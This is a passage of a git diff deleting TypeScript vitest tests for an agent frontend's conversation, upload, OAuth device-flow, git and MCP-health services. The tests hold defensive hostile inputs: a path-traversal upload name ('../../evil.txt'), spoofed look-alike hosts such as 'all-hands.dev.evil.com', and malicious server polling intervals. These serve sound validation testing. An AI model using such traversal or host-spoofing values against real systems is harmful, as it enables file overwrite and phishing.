expect(conversation.git_provider).toBeNull(); - }); - - it("removeStoredConversationMetadata clears the entry so the adapter goes back to nulls", () => { - setStoredConversationMetadata("conv-3", { - selected_repository: "octocat/repo", - selected_branch: "trunk", - git_provider: "github", - }); - - removeStoredConversationMetadata("conv-3"); - - expect(getStoredConversationMetadata("conv-3")).toBeNull(); - expect(toAppConversation(directInfo("conv-3")).selected_repository).toBeNull(); - }); -}); diff --git a/__tests__/api/conversation-service.test.ts b/__tests__/api/conversation-service.test.ts deleted file mode 100644 index 30e99a155..000000000 --- a/__tests__/api/conversation-service.test.ts +++ /dev/null @@ -1,143 +0,0 @@ -import { describe, expect, it, vi, beforeEach } from "vitest"; -import { RemoteWorkspace } from "@openhands/typescript-client/workspace/remote-workspace"; - -import ConversationService from "#/api/conversation-service/conversation-service.api"; -import { clearAgentServerHomeDirCache } from "#/api/agent-server-home"; - -const fileUploadMock = vi.fn(); -const getHomeMock = vi.fn(); - -vi.mock("@openhands/typescript-client/workspace/remote-workspace", () => ({ - RemoteWorkspace: vi.fn(function RemoteWorkspaceMock() { - return { fileUpload: fileUploadMock }; - }), -})); - -vi.mock("@openhands/typescript-client/clients", () => ({ - FileClient: vi.fn(function FileClientMock() { - return { getHome: getHomeMock }; - }), -})); - -function makeFile(name: string) { - return new File(["content"], name, { type: "text/plain" }); -} - -describe("ConversationService", () => { - beforeEach(() => { - vi.clearAllMocks(); - ConversationService.setCurrentConversation(null); - clearAgentServerHomeDirCache(); - getHomeMock.mockResolvedValue({ home: "/Users/agent" }); - }); - - describe("uploadFiles", () => { - // @spec WUP-001 — The default fallback working dir is relative - // (`workspace/project`); the upload path is resolved against the - // agent-server's home directory via /api/file/home. - it("uploads files through RemoteWorkspace and reports successes", async () => { - fileUploadMock.mockResolvedValue(undefined); - - const result = await ConversationService.uploadFiles("conv-1", [ - makeFile("a.txt"), - makeFile("b.txt"), - ]); - - expect(RemoteWorkspace).toHaveBeenCalledWith( - expect.objectContaining({ - host: expect.any(String), - workingDir: expect.any(String), - }), - ); - expect(fileUploadMock).toHaveBeenCalledWith( - expect.objectContaining({ name: "a.txt" }), - "/Users/agent/workspace/project/a.txt", - ); - expect(fileUploadMock).toHaveBeenCalledWith( - expect.objectContaining({ name: "b.txt" }), - "/Users/agent/workspace/project/b.txt", - ); - expect(result).toEqual({ - uploaded_files: ["a.txt", "b.txt"], - skipped_files: [], - }); - }); - - it("uploads using only the basename of user-provided file names", async () => { - fileUploadMock.mockResolvedValue(undefined); - - const result = await ConversationService.uploadFiles("conv-1", [ - makeFile("../../evil.txt"), - ]); - - expect(fileUploadMock).toHaveBeenCalledWith( - expect.objectContaining({ name: "../../evil.txt" }), - "/Users/agent/workspace/project/evil.txt", - ); - expect(result).toEqual({ - uploaded_files: ["evil.txt"], - skipped_files: [], - }); - }); - - it("uploads into the active conversation workspace when set", async () => { - ConversationService.setCurrentConversation({ - id: "conv-1", - workspace: { working_dir: "/workspace/project/my-app" }, - } as never); - fileUploadMock.mockResolvedValue(undefined); - - await ConversationService.uploadFiles("conv-1", [makeFile("doc.txt")]); - - expect(fileUploadMock).toHaveBeenCalledWith( - expect.objectContaining({ name: "doc.txt" }), - "/workspace/project/my-app/doc.txt", - ); - }); - - it("uses the current conversation session key and reports per-file failures", async () => { - ConversationService.setCurrentConversation({ - id: "conv-1", - session_api_key: "session-key", - } as never); - fileUploadMock - .mockResolvedValueOnce(undefined) - .mockRejectedValueOnce(new Error("too large")); - - const result = await ConversationService.uploadFiles("conv-1", [ - makeFile("ok.txt"), - makeFile("bad.txt"), - ]); - - expect(RemoteWorkspace).toHaveBeenCalledWith( - expect.objectContaining({ apiKey: "session-key" }), - ); - expect(result).toEqual({ - uploaded_files: ["ok.txt"], - skipped_files: [{ name: "bad.txt", reason: "too large" }], - }); - }); - - it("uploads files in bounded batches", async () => { - let activeUploads = 0; - let maxActiveUploads = 0; - fileUploadMock.mockImplementation(async () => { - activeUploads += 1; - maxActiveUploads = Math.max(maxActiveUploads, activeUploads); - await Promise.resolve(); - activeUploads -= 1; - }); - - const files = Array.from({ length: 7 }, (_, index) => - makeFile(`file-${String(index)}.txt`), - ); - - const result = await ConversationService.uploadFiles("conv-1", files); - - expect(fileUploadMock).toHaveBeenCalledTimes(7); - expect(maxActiveUploads).toBe(5); - expect(result.uploaded_files).toEqual(files.map((file) => file.name)); - expect(result.skipped_files).toEqual([]); - }); - }); -}); diff --git a/__tests__/api/device-flow-client.test.ts b/__tests__/api/device-flow-client.test.ts deleted file mode 100644 index 079582394..000000000 --- a/__tests__/api/device-flow-client.test.ts +++ /dev/null @@ -1,528 +0,0 @@ -import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { - startDeviceFlow, - pollForToken, - isOpenHandsCloudHost, - DeviceFlowError, -} from "../../src/api/device-flow-client"; -import { AGENT_CANVAS_CLIENT_HEADERS } from "../../src/api/client-source"; - -const TEST_HOST_URL = "https://app.all-hands.dev"; - -describe("device-flow-client", () => { - beforeEach(() => { - vi.useFakeTimers(); - }); - - afterEach(() => { - vi.useRealTimers(); - vi.restoreAllMocks(); - }); - - describe("isOpenHandsCloudHost", () => { - it("returns true for all-hands.dev domains", () => { - expect(isOpenHandsCloudHost("https://app.all-hands.dev")).toBe(true); - expect(isOpenHandsCloudHost("https://staging.all-hands.dev")).toBe(true); - expect(isOpenHandsCloudHost("app.all-hands.dev")).toBe(true); - expect(isOpenHandsCloudHost("ALL-HANDS.DEV")).toBe(true); - expect(isOpenHandsCloudHost("all-hands.dev")).toBe(true); - }); - - it("returns true for openhands.dev domains", () => { - expect(isOpenHandsCloudHost("https://app.openhands.dev")).toBe(true); - expect(isOpenHandsCloudHost("openhands.dev")).toBe(true); - }); - - it("returns false for other domains", () => { - expect(isOpenHandsCloudHost("https://localhost:8000")).toBe(false); - expect(isOpenHandsCloudHost("http://127.0.0.1")).toBe(false); - expect(isOpenHandsCloudHost("https://example.com")).toBe(false); - expect(isOpenHandsCloudHost("https://my-openhands-server.com")).toBe( - false, - ); - }); - - it("prevents substring matching attacks", () => { - // These should NOT be treated as trusted hosts - expect(isOpenHandsCloudHost("https://all-hands.dev.evil.com")).toBe( - false, - ); - expect(isOpenHandsCloudHost("https://malicious-all-hands.dev")).toBe( - false, - ); - expect(isOpenHandsCloudHost("https://evil.com/all-hands.dev")).toBe( - false, - ); - }); - - it("returns false for invalid URLs", () => { - expect(isOpenHandsCloudHost("")).toBe(false); - expect(isOpenHandsCloudHost("not-a-url")).toBe(false); - }); - }); - - describe("startDeviceFlow", () => { - it("returns device authorization response on success", async () => { - const mockResponse = { - device_code: "device123", - user_code: "USER-1234", - verification_uri: `${TEST_HOST_URL}/device`, - verification_uri_complete: `${TEST_HOST_URL}/device?user_code=USER-1234`, - expires_in: 600, - interval: 5, - }; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - json: () => Promise.resolve(mockResponse), - }); - - const result = await startDeviceFlow(TEST_HOST_URL); - - expect(result).toEqual(mockResponse); - // Should call the cloud endpoint directly. - const fetchCall = (fetch as ReturnType).mock.calls[0]; - expect(fetchCall[0]).toBe(`${TEST_HOST_URL}/oauth/device/authorize`); - expect(fetchCall[1]).toEqual(expect.objectContaining({ method: "POST" })); - - const headers = new Headers(fetchCall[1].headers); - expect(headers.get("Content-Type")).toBe("application/json"); - for (const [name, value] of Object.entries(AGENT_CANVAS_CLIENT_HEADERS)) { - expect(headers.get(name)).toBe(value); - } - }); - - it("normalizes host URL by removing trailing slashes", async () => { - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - json: () => - Promise.resolve({ - device_code: "dc", - user_code: "uc", - verification_uri: "v", - verification_uri_complete: "vc", - expires_in: 600, - interval: 5, - }), - }); - - await startDeviceFlow(`${TEST_HOST_URL}///`); - - // Verify the direct request targets the normalized host. - const fetchCall = (fetch as ReturnType).mock.calls[0]; - expect(fetchCall[0]).toBe(`${TEST_HOST_URL}/oauth/device/authorize`); - }); - - it("throws DeviceFlowError on HTTP error", async () => { - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 500, - text: () => Promise.resolve("Internal Server Error"), - }); - - await expect(startDeviceFlow(TEST_HOST_URL)).rejects.toThrow( - DeviceFlowError, - ); - await expect(startDeviceFlow(TEST_HOST_URL)).rejects.toThrow( - /Failed to start device flow.*500/, - ); - }); - - it("throws DeviceFlowError on missing required fields", async () => { - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - json: () => - Promise.resolve({ - device_code: "dc", - // Missing other required fields - }), - }); - - await expect(startDeviceFlow(TEST_HOST_URL)).rejects.toThrow( - DeviceFlowError, - ); - await expect(startDeviceFlow(TEST_HOST_URL)).rejects.toThrow( - /missing required fields/, - ); - }); - - it("throws DeviceFlowError on network error", async () => { - global.fetch = vi.fn().mockRejectedValue(new Error("Network failed")); - - await expect(startDeviceFlow(TEST_HOST_URL)).rejects.toThrow( - DeviceFlowError, - ); - await expect(startDeviceFlow(TEST_HOST_URL)).rejects.toThrow( - /Network failed/, - ); - }); - }); - - describe("pollForToken", () => { - it("returns token response on immediate success", async () => { - const mockTokenResponse = { - access_token: "api-key-123", - token_type: "Bearer", - }; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: () => Promise.resolve(mockTokenResponse), - }); - - const result = await pollForToken(TEST_HOST_URL, "device123", { - interval: 5, - }); - - expect(result).toEqual(mockTokenResponse); - // Should call the cloud endpoint directly. - const fetchCall = (fetch as ReturnType).mock.calls[0]; - expect(fetchCall[0]).toBe(`${TEST_HOST_URL}/oauth/device/token`); - expect(fetchCall[1]).toEqual(expect.objectContaining({ method: "POST" })); - - const headers = new Headers(fetchCall[1].headers); - expect(headers.get("Content-Type")).toBe( - "application/x-www-form-urlencoded", - ); - for (const [name, value] of Object.entries(AGENT_CANVAS_CLIENT_HEADERS)) { - expect(headers.get(name)).toBe(value); - } - }); - - it("polls until authorization is complete", async () => { - const pendingResponse = { - ok: false, - status: 400, - json: () => - Promise.resolve({ - error: "authorization_pending", - error_description: "User hasn't authorized yet", - }), - }; - const successResponse = { - ok: true, - status: 200, - json: () => - Promise.resolve({ - access_token: "api-key-123", - token_type: "Bearer", - }), - }; - - global.fetch = vi - .fn() - .mockResolvedValueOnce(pendingResponse) - .mockResolvedValueOnce(successResponse); - - const pollPromise = pollForToken(TEST_HOST_URL, "device123", { - interval: 1, - }); - - // Advance past the first poll interval - await vi.advanceTimersByTimeAsync(1000); - - const result = await pollPromise; - expect(result.access_token).toBe("api-key-123"); - expect(fetch).toHaveBeenCalledTimes(2); - }); - - it("increases interval on slow_down error", async () => { - const slowDownResponse = { - ok: false, - status: 400, - json: () => - Promise.resolve({ - error: "slow_down", - interval: 10, - }), - }; - const successResponse = { - ok: true, - status: 200, - json: () => - Promise.resolve({ - access_token: "api-key-123", - token_type: "Bearer", - }), - }; - - global.fetch = vi - .fn() - .mockResolvedValueOnce(slowDownResponse) - .mockResolvedValueOnce(successResponse); - - const pollPromise = pollForToken(TEST_HOST_URL, "device123", { - interval: 5, - }); - - // Advance by new interval (10 seconds) - await vi.advanceTimersByTimeAsync(10000); - - const result = await pollPromise; - expect(result.access_token).toBe("api-key-123"); - }); - - it("throws on expired_token error", async () => { - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 400, - json: () => - Promise.resolve({ - error: "expired_token", - }), - }); - - await expect( - pollForToken(TEST_HOST_URL, "device123", { interval: 1 }), - ).rejects.toThrow(DeviceFlowError); - await expect( - pollForToken(TEST_HOST_URL, "device123", { interval: 1 }), - ).rejects.toThrow(/expired/i); - }); - - it("throws on access_denied error", async () => { - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 400, - json: () => - Promise.resolve({ - error: "access_denied", - }), - }); - - await expect( - pollForToken(TEST_HOST_URL, "device123", { interval: 1 }), - ).rejects.toThrow(DeviceFlowError); - await expect( - pollForToken(TEST_HOST_URL, "device123", { interval: 1 }), - ).rejects.toThrow(/denied/i); - }); - - it("reports a non-JSON error response instead of retrying it as a network error", async () => { - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 502, - json: () => Promise.reject(new SyntaxError("invalid JSON")), - }); - - await expect( - pollForToken(TEST_HOST_URL, "device123", { interval: 1 }), - ).rejects.toThrow(/Unexpected response from server: 502/); - }); - - it("respects abort signal", async () => { - vi.useRealTimers(); // Use real timers for this test - const controller = new AbortController(); - - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 400, - json: () => - Promise.resolve({ - error: "authorization_pending", - }), - }); - - // Pre-abort the controller - controller.abort(); - - // Now the promise should reject immediately with cancelled - await expect( - pollForToken(TEST_HOST_URL, "device123", { - interval: 1, - signal: controller.signal, - }), - ).rejects.toThrow(/cancelled/i); - }); - - it("reports cancellation when aborted between polling attempts", async () => { - const controller = new AbortController(); - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 400, - json: () => Promise.resolve({ error: "authorization_pending" }), - }); - - const pollPromise = pollForToken(TEST_HOST_URL, "device123", { - interval: 5, - signal: controller.signal, - }); - const rejection = expect(pollPromise).rejects.toMatchObject({ - code: "cancelled", - }); - - await vi.advanceTimersByTimeAsync(0); - controller.abort(); - - await rejection; - }); - - it("times out after specified duration", async () => { - vi.useRealTimers(); // Use real timers for this test - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 400, - json: () => - Promise.resolve({ - error: "authorization_pending", - }), - }); - - // Use very short timeout - await expect( - pollForToken(TEST_HOST_URL, "device123", { - interval: 0.01, // 10ms interval - timeout: 50, // 50ms timeout - }), - ).rejects.toThrow(/timeout/i); - }, 10000); - - it("caps slow_down interval at 30 seconds (DoS protection)", async () => { - const slowDownResponse = { - ok: false, - status: 400, - json: () => - Promise.resolve({ - error: "slow_down", - interval: 999999, // Malicious server tries to DoS - }), - }; - const successResponse = { - ok: true, - status: 200, - json: () => - Promise.resolve({ - access_token: "api-key-123", - token_type: "Bearer", - }), - }; - - global.fetch = vi - .fn() - .mockResolvedValueOnce(slowDownResponse) - .mockResolvedValueOnce(successResponse); - - const pollPromise = pollForToken(TEST_HOST_URL, "device123", { - interval: 5, - }); - - // Should use 30s max, not 999999s - await vi.advanceTimersByTimeAsync(30000); - - const result = await pollPromise; - expect(result.access_token).toBe("api-key-123"); - expect(fetch).toHaveBeenCalledTimes(2); - }); - - it("rejects non-numeric slow_down interval (type confusion protection)", async () => { - const slowDownResponse = { - ok: false, - status: 400, - json: () => - Promise.resolve({ - error: "slow_down", - interval: "pwned", // Non-numeric value - }), - }; - const successResponse = { - ok: true, - status: 200, - json: () => - Promise.resolve({ - access_token: "api-key-123", - token_type: "Bearer", - }), - }; - - global.fetch = vi - .fn() - .mockResolvedValueOnce(slowDownResponse) - .mockResolvedValueOnce(successResponse); - - const pollPromise = pollForToken(TEST_HOST_URL, "device123", { - interval: 5, - }); - - // With invalid interval, should use RFC 8628 default: current + 5s - // Starting interval is 5s, so next should be 10s (5000 + 5000 = 10000ms) - await vi.advanceTimersByTimeAsync(10000); - - const result = await pollPromise; - expect(result.access_token).toBe("api-key-123"); - }); - - it("increments interval by 5 seconds per RFC 8628 when slow_down has no interval", async () => { - const slowDownResponse = { - ok: false, - status: 400, - json: () => - Promise.resolve({ - error: "slow_down", - // No interval field - RFC 8628 mandates +5s increment - }), - }; - const successResponse = { - ok: true, - status: 200, - json: () => - Promise.resolve({ - access_token: "api-key-123", - token_type: "Bearer", - }), - }; - - global.fetch = vi - .fn() - .mockResolvedValueOnce(slowDownResponse) - .mockResolvedValueOnce(successResponse); - - const pollPromise = pollForToken(TEST_HOST_URL, "device123", { - interval: 5, // 5 seconds initial - }); - - // RFC 8628: must increment by 5 seconds, so 5s -> 10s - await vi.advanceTimersByTimeAsync(10000); - - const result = await pollPromise; - expect(result.access_token).toBe("api-key-123"); - }); - - it("continues polling on network errors instead of failing immediately", async () => { - const networkError = new Error("Network failed"); - const successResponse = { - ok: true, - status: 200, - json: () => - Promise.resolve({ - access_token: "api-key-123", - token_type: "Bearer", - }), - }; - - // First call fails with network error, second succeeds - global.fetch = vi - .fn() - .mockRejectedValueOnce(networkError) - .mockResolvedValueOnce(successResponse); - - const consoleSpy = vi.spyOn(console, "warn").mockImplementation(() => {}); - - const pollPromise = pollForToken(TEST_HOST_URL, "device123", { - interval: 1, - }); - - // Advance past the retry interval - await vi.advanceTimersByTimeAsync(1000); - - const result = await pollPromise; - expect(result.access_token).toBe("api-key-123"); - expect(consoleSpy).toHaveBeenCalledWith( - "Network error during polling, retrying:", - networkError, - ); - - consoleSpy.mockRestore(); - }); - }); -}); diff --git a/__tests__/api/event-service.test.ts b/__tests__/api/event-service.test.ts deleted file mode 100644 index f67290765..000000000 --- a/__tests__/api/event-service.test.ts +++ /dev/null @@ -1,125 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import EventService from "#/api/event-service/event-service.api"; -import { callCloudProxy } from "#/api/cloud/proxy"; -import type { Backend } from "#/api/backend-registry/types"; - -vi.mock("#/api/cloud/proxy", () => ({ - callCloudProxy: vi.fn(), -})); - -const cloudBackend: Backend = { - id: "cloud-1", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "cloud-key", - kind: "cloud", -}; - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id, orgId: "org-1" }); - vi.mocked(callCloudProxy).mockReset(); - vi.mocked(callCloudProxy).mockResolvedValue({ - items: [], - next_page_id: null, - }); -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - vi.mocked(callCloudProxy).mockReset(); -}); - -describe("EventService.searchEvents — cloud branch", () => { - it("forwards all pagination params to the cloud proxy and clamps limit to <=100", async () => { - const options = { - limit: 500, - sortOrder: "TIMESTAMP_DESC" as const, - pageId: "p1", - timestampGte: "2026-05-01T00:00:00.000000", - timestampLt: "2026-05-12T07:20:29.087853", - }; - - await EventService.searchEvents("conv-1", null, null, options); - - const proxyCall = vi.mocked(callCloudProxy).mock.calls[0][0]; - const url = new URL(`https://x${proxyCall.path}`); - expect(url.searchParams.get("limit")).toBe("100"); - expect(url.searchParams.get("sort_order")).toBe("TIMESTAMP_DESC"); - expect(url.searchParams.get("page_id")).toBe("p1"); - expect(url.searchParams.get("timestamp__gte")).toBe( - "2026-05-01T00:00:00.000000", - ); - expect(url.searchParams.get("timestamp__lt")).toBe( - "2026-05-12T07:20:29.087853", - ); - }); - - it("sends only limit when no filter params are provided", async () => { - await EventService.searchEvents("conv-1", null, null, { limit: 50 }); - - const proxyCall = vi.mocked(callCloudProxy).mock.calls[0][0]; - expect(proxyCall.path).toBe( - "/api/v1/conversation/conv-1/events/search?limit=50", - ); - }); - - it("returns empty page when full-param request fails (graceful degradation)", async () => { - const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {}); - - vi.mocked(callCloudProxy).mockRejectedValueOnce( - new Error("Internal Server Error"), - ); - - const result = await EventService.searchEvents("conv-1", null, null, { - limit: 50, - sortOrder: "TIMESTAMP_DESC", - timestampLt: "2026-05-12T00:00:00.000000", - }); - - // Only one call — no retry, just returns empty page to stop pagination. - expect(vi.mocked(callCloudProxy)).toHaveBeenCalledTimes(1); - expect(result.items).toHaveLength(0); - expect(result.next_page_id).toBeNull(); - expect(warnSpy).toHaveBeenCalledWith( - expect.stringContaining("doesn't support pagination filters"), - ); - - warnSpy.mockRestore(); - }); - - it("rethrows when a limit-only request (no filter params) fails", async () => { - vi.mocked(callCloudProxy).mockRejectedValueOnce( - new Error("Network error"), - ); - - await expect( - EventService.searchEvents("conv-1", null, null, { limit: 50 }), - ).rejects.toThrow("Network error"); - - expect(vi.mocked(callCloudProxy)).toHaveBeenCalledTimes(1); - }); - - it("stops pagination when server returns fewer items than limit", async () => { - vi.mocked(callCloudProxy).mockResolvedValueOnce({ - items: [{ id: "evt-1" }, { id: "evt-2" }], - next_page_id: null, - }); - - const result = await EventService.searchEvents("conv-1", null, null, { - limit: 50, - sortOrder: "TIMESTAMP_DESC", - }); - - expect(result.items).toHaveLength(2); - expect(result.next_page_id).toBeNull(); - }); -}); diff --git a/__tests__/api/git-service.test.ts b/__tests__/api/git-service.test.ts deleted file mode 100644 index 57ba9496f..000000000 --- a/__tests__/api/git-service.test.ts +++ /dev/null @@ -1,206 +0,0 @@ -import { describe, expect, vi, beforeEach, it, afterEach } from "vitest"; -import GitService from "#/api/git-service/git-service.api"; -import * as cloudGitService from "#/api/cloud/git-service.api"; -import * as activeStore from "#/api/backend-registry/active-store"; - -vi.mock("#/api/cloud/git-service.api", () => ({ - searchCloudRepositories: vi.fn(), - getCloudInstallations: vi.fn(), - getCloudRepositoryBranches: vi.fn(), -})); - -vi.mock("#/api/backend-registry/active-store", () => ({ - getActiveBackend: vi.fn(), -})); - -const mockSearchCloudRepositories = vi.mocked( - cloudGitService.searchCloudRepositories, -); -const mockGetCloudInstallations = vi.mocked( - cloudGitService.getCloudInstallations, -); -const mockGetCloudRepositoryBranches = vi.mocked( - cloudGitService.getCloudRepositoryBranches, -); -const mockGetActiveBackend = vi.mocked(activeStore.getActiveBackend); - -const cloudActive = () => - mockGetActiveBackend.mockReturnValue({ - backend: { - kind: "cloud", - id: "test", - name: "Test", - host: "https://example.com", - apiKey: "test-key", - }, - orgId: "org-1", - }); - -const localActive = () => - mockGetActiveBackend.mockReturnValue({ - backend: { - kind: "local", - id: "test", - name: "Test", - host: "http://localhost", - apiKey: "test-key", - }, - orgId: null, - }); - -describe("GitService", () => { - beforeEach(() => { - vi.clearAllMocks(); - }); - - afterEach(() => { - vi.clearAllMocks(); - }); - - describe("invalid provider guards", () => { - const invalidProviders = [ - { value: null, name: "null" }, - { value: undefined, name: "undefined" }, - { value: "", name: "empty string" }, - { value: "undefined", name: '"undefined" string' }, - { value: "null", name: '"null" string' }, - ]; - - describe("searchGitRepositories", () => { - it.each(invalidProviders)( - "should return empty results when provider is $name (cloud mode)", - async ({ value }) => { - cloudActive(); - - const result = await GitService.searchGitRepositories( - "test query", - value as string, - ); - - expect(result).toEqual({ items: [], next_page_id: null }); - expect(mockSearchCloudRepositories).not.toHaveBeenCalled(); - }, - ); - }); - - describe("retrieveUserGitRepositories", () => { - it.each(invalidProviders)( - "should return empty results when provider is $name", - async ({ value }) => { - cloudActive(); - - const result = await GitService.retrieveUserGitRepositories( - value as string, - ); - - expect(result).toEqual({ items: [], next_page_id: null }); - expect(mockSearchCloudRepositories).not.toHaveBeenCalled(); - }, - ); - }); - - describe("retrieveInstallationRepositories", () => { - it.each(invalidProviders)( - "should return empty results when provider is $name", - async ({ value }) => { - cloudActive(); - - const result = await GitService.retrieveInstallationRepositories( - value as string, - 0, - ["installation-1"], - ); - - expect(result).toEqual({ items: [], next_page_id: null }); - expect(mockSearchCloudRepositories).not.toHaveBeenCalled(); - }, - ); - }); - - describe("getUserInstallations", () => { - it.each(invalidProviders)( - "should return empty results when provider is $name", - async ({ value }) => { - cloudActive(); - - const result = await GitService.getUserInstallations(value as string); - - expect(result).toEqual({ items: [], next_page_id: null }); - expect(mockGetCloudInstallations).not.toHaveBeenCalled(); - }, - ); - }); - - describe("getRepositoryBranches", () => { - it.each(invalidProviders)( - "should return empty results when provider is $name", - async ({ value }) => { - cloudActive(); - - const result = await GitService.getRepositoryBranches( - "owner/repo", - value as string, - ); - - expect(result).toEqual({ items: [], next_page_id: null }); - expect(mockGetCloudRepositoryBranches).not.toHaveBeenCalled(); - }, - ); - }); - - describe("searchRepositoryBranches", () => { - it.each(invalidProviders)( - "should return empty results when provider is $name", - async ({ value }) => { - cloudActive(); - - const result = await GitService.searchRepositoryBranches( - "owner/repo", - value as string, - "main", - ); - - expect(result).toEqual({ items: [], next_page_id: null }); - expect(mockGetCloudRepositoryBranches).not.toHaveBeenCalled(); - }, - ); - }); - }); - - describe("valid provider behavior", () => { - it("should call cloud API when provider is valid and cloud is active", async () => { - cloudActive(); - mockSearchCloudRepositories.mockResolvedValue({ - items: [ - { - id: "1", - full_name: "owner/repo", - git_provider: "github", - is_public: true, - }, - ], - next_page_id: null, - }); - - const result = await GitService.searchGitRepositories("test", "github"); - - expect(mockSearchCloudRepositories).toHaveBeenCalledWith({ - provider: "github", - query: "test", - limit: 100, - pageId: undefined, - installationId: undefined, - }); - expect(result.items).toHaveLength(1); - }); - - it("should short-circuit to empty results when provider is valid but local backend is active", async () => { - localActive(); - - const result = await GitService.searchGitRepositories("test", "github"); - - expect(result).toEqual({ items: [], next_page_id: null }); - expect(mockSearchCloudRepositories).not.toHaveBeenCalled(); - }); - }); -}); diff --git a/__tests__/api/llm-subscription-service.test.ts b/__tests__/api/llm-subscription-service.test.ts deleted file mode 100644 index eecc827c4..000000000 --- a/__tests__/api/llm-subscription-service.test.ts +++ /dev/null @@ -1,95 +0,0 @@ -import { http, HttpResponse } from "msw"; -import { beforeEach, describe, expect, it } from "vitest"; -import LLMSubscriptionService from "#/api/llm-subscription-service"; -import { - OPENAI_SUBSCRIPTION_DEVICE_START_PATH, - OPENAI_SUBSCRIPTION_STATUS_PATH, -} from "#/constants/llm-subscription"; -import { server } from "#/mocks/node"; -import { resetTestHandlersMockSettings } from "#/mocks/settings-handlers"; - -describe("LLMSubscriptionService", () => { - beforeEach(() => { - resetTestHandlersMockSettings(); - }); - - it("fetches OpenAI subscription models from the agent-server endpoint", async () => { - await expect(LLMSubscriptionService.getOpenAIModels()).resolves.toEqual([ - "gpt-5.2", - "gpt-5.3-codex", - ]); - }); - - it("normalizes OpenAI subscription status from MSW handlers", async () => { - await expect(LLMSubscriptionService.getOpenAIStatus()).resolves.toEqual({ - vendor: "openai", - connected: false, - accountEmail: null, - expiresAt: null, - }); - }); - - it("normalizes device login challenge responses", async () => { - await expect( - LLMSubscriptionService.startOpenAIDeviceLogin(), - ).resolves.toEqual({ - deviceCode: "mock-device-code", - userCode: "MOCK-CODE", - verificationUri: "https://auth.openai.com/activate", - verificationUriComplete: - "https://auth.openai.com/activate?user_code=MOCK-CODE", - expiresAt: 900, - intervalSeconds: 1, - }); - }); - - it("posts the device code when polling login", async () => { - await expect( - LLMSubscriptionService.pollOpenAIDeviceLogin("mock-device-code"), - ).resolves.toMatchObject({ connected: true }); - - await expect( - LLMSubscriptionService.getOpenAIStatus(), - ).resolves.toMatchObject({ - connected: true, - accountEmail: "mock-chatgpt@example.com", - }); - }); - - it("calls the logout endpoint", async () => { - await LLMSubscriptionService.pollOpenAIDeviceLogin("mock-device-code"); - - await expect(LLMSubscriptionService.logoutOpenAI()).resolves.toMatchObject({ - connected: false, - }); - await expect( - LLMSubscriptionService.getOpenAIStatus(), - ).resolves.toMatchObject({ connected: false }); - }); - - it("rejects incomplete device challenges with blank required fields", async () => { - server.use( - http.post(`*${OPENAI_SUBSCRIPTION_DEVICE_START_PATH}`, () => - HttpResponse.json({ - device_code: " ", - user_code: "MOCK-CODE", - verification_uri: "https://auth.openai.com/activate", - }), - ), - ); - - await expect( - LLMSubscriptionService.startOpenAIDeviceLogin(), - ).rejects.toThrow("Subscription device login response is incomplete"); - }); - - it("surfaces agent-server errors", async () => { - server.use( - http.get(`*${OPENAI_SUBSCRIPTION_STATUS_PATH}`, () => - HttpResponse.json({ detail: "unauthorized" }, { status: 401 }), - ), - ); - - await expect(LLMSubscriptionService.getOpenAIStatus()).rejects.toThrow(); - }); -}); diff --git a/__tests__/api/mcp-health/mcp-health-store.test.ts b/__tests__/api/mcp-health/mcp-health-store.test.ts deleted file mode 100644 index 1bad49135..000000000 --- a/__tests__/api/mcp-health/mcp-health-store.test.ts +++ /dev/null @@ -1,64 +0,0 @@ -import { beforeEach, describe, expect, it } from "vitest"; -import { - __resetMcpHealthStoreForTests, - beginMcpHealthCheck, - clearMcpServerHealth, - getMcpHealthSnapshot, - resolveMcpHealthCheck, -} from "#/api/mcp-health/mcp-health-store"; -import type { McpServerHealth } from "#/types/mcp-health"; - -const HEALTHY: McpServerHealth = { - status: "healthy", - verification: "verified", - toolCount: 3, - checkedAt: 1, -}; - -const FAILED: McpServerHealth = { - status: "failed", - kind: "connection", - error: "refused", - checkedAt: 2, -}; - -describe("mcp-health-store", () => { - beforeEach(() => { - __resetMcpHealthStoreForTests(); - }); - - it("marks a check as in flight and commits its result", () => { - const checkId = beginMcpHealthCheck("key"); - expect(getMcpHealthSnapshot().key).toEqual({ status: "checking", checkId }); - - resolveMcpHealthCheck("key", checkId, HEALTHY); - - expect(getMcpHealthSnapshot().key).toEqual(HEALTHY); - }); - - it("drops a stale result that was superseded by a newer check", () => { - const staleId = beginMcpHealthCheck("key"); - const freshId = beginMcpHealthCheck("key"); - - // The slow older probe must not overwrite the newer probe's lifecycle. - resolveMcpHealthCheck("key", staleId, HEALTHY); - expect(getMcpHealthSnapshot().key).toEqual({ - status: "checking", - checkId: freshId, - }); - - resolveMcpHealthCheck("key", freshId, FAILED); - expect(getMcpHealthSnapshot().key).toEqual(FAILED); - }); - - it("drops a result whose entry was cleared mid-flight", () => { - // e.g. the server was edited or deleted while its probe was running — - // the late result must not resurrect a verdict for a gone config. - const checkId = beginMcpHealthCheck("key"); - clearMcpServerHealth("key"); - - resolveMcpHealthCheck("key", checkId, HEALTHY); - - expect(getMcpHealthSnapshot().key).toBeUndefined(); - }); -}); diff --git a/__tests__/api/mcp-health/probe-mcp-server-health.test.ts b/__tests__/api/mcp-health/probe-mcp-server-health.test.ts deleted file mode 100644 index 7fc8d71ac..000000000 --- a/__tests__/api/mcp-health/probe-mcp-server-health.test.ts +++ /dev/null @@ -1,179 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 